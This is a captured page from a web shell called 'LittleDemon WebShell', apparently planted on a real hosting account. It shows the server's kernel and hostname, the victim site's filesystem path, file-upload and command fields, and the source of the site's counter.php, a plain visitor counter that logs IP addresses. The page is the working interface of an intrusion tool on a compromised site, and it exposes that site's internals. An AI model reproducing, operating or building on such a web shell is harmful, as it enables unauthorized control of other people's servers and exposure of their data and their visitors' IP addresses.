LittleDemon WebShell


Linux in-mum-web1499.main-hosting.eu 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
Path : /home/u901718425/domains/oneresidencesbymantra.com/public_html/
File Upload :
Command :
Current File : /home/u901718425/domains/oneresidencesbymantra.com/public_html/counter.php

<?php
$ip = $_SERVER['REMOTE_ADDR'];
$referer = parse_url($_SERVER['HTTP_REFERER'] ?? 'unknown', PHP_URL_HOST);
$site_id = preg_replace('/[^a-zA-Z0-9_\-\.]/', '', $referer); // sanitized folder name

if (!$site_id) {
    $site_id = 'unknown';
}

// Folder structure: logs/{site_id}/
$base_path = __DIR__ . "/logs/$site_id";
if (!is_dir($base_path)) {
    mkdir($base_path, 0777, true);
}

$ip_file = "$base_path/ips.txt";
$count_file = "$base_path/count.txt";

// Load IPs
$ips = file_exists($ip_file) ? file($ip_file, FILE_IGNORE_NEW_LINES) : [];

if (!in_array($ip, $ips)) {
    // New unique IP
    file_put_contents($ip_file, $ip . PHP_EOL, FILE_APPEND);
    $count = file_exists($count_file) ? (int)file_get_contents($count_file) : 0;
    $count++;
    file_put_contents($count_file, $count);
} else {
    $count = file_exists($count_file) ? (int)file_get_contents($count_file) : 0;
}

header("Content-Type: application/json");
echo json_encode([
    'site' => $site_id,
    'visitor_ip' => $ip,
    'unique_visitors' => $count
]);
?>

LittleDemon - FACEBOOK
[ KELUAR ]